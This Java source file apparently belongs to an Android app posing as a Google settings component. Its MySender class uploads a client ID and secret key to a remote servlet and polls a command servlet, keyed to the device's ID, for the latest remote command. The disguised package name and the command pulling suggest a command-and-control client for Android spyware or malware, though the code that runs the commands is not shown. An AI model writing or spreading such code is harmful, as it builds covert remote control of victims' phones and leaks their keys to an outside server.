package com.android.googlesettings.controller;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;


import org.apache.http.message.BasicNameValuePair;
import org.json.JSONObject;

import com.android.googlesettings.model.CmdModel;
import com.android.googlesettings.model.UserInfoModel;
import com.android.googlesettings.model.VerifyKeyModel;
import com.android.googlesettings.util.HttpUtil;
import com.android.googlesettings.util.JSONUtil;

public class MySender {

	private static MySender mySender;

	public MySender() {
		super();
	}

	public static MySender getInstance() {
		if (mySender == null) {
			return new MySender();
		} else {
			return mySender;
		}
	}


	public void updateRecordKeyInfo(String client_id, String key) throws Exception {

		UserInfoModel infoModel = new UserInfoModel();
		infoModel.setClient_id(client_id);
		infoModel.setSercet_key(key);
		ArrayList<UserInfoModel> arrayList = new ArrayList<UserInfoModel>();
		arrayList.add(infoModel);

		Map<String, String> paraws = new HashMap<String, String>();
		paraws.put("method", "update");
		paraws.put("jsonModel", JSONUtil.parseUserInfoModelJson(arrayList));
		String result = HttpUtil.postRequest(HttpUtil.USERINFO_SERVLET, paraws);
		org.json.JSONArray jsonArray = new org.json.JSONArray(result);
		JSONObject jsonObject = new JSONObject();
		jsonObject = jsonArray.getJSONObject(0);
		String resultTitle = jsonObject.getString("result");
	}
	
	public CmdModel getLatestCmd() throws Exception {

		String result = HttpUtil.postRequest(HttpUtil.CMD_SERVLET, new BasicNameValuePair("mobile_id",
				AppController.mobile_id), new BasicNameValuePair("method", "pull"));
		CmdModel model = new CmdModel();
		try {
			org.json.JSONArray jsonArray = new org.json.JSONArray(result);
			JSONObject jsonObject = new JSONObject();
			if (jsonArray.length() > 0) {
				jsonObject = jsonArray.getJSONObject(0);
				String cmd = jsonObject.getString("cmd");
				String create_time = jsonObject.getString("create_time");
				String state = jsonObject.getString("state");
				model = new CmdModel(AppController.mobile_id, cmd, create_time, state);
				;
			}
		} catch (Exception e) {
			e.printStackTrace();
		}
		return model;
	}
}
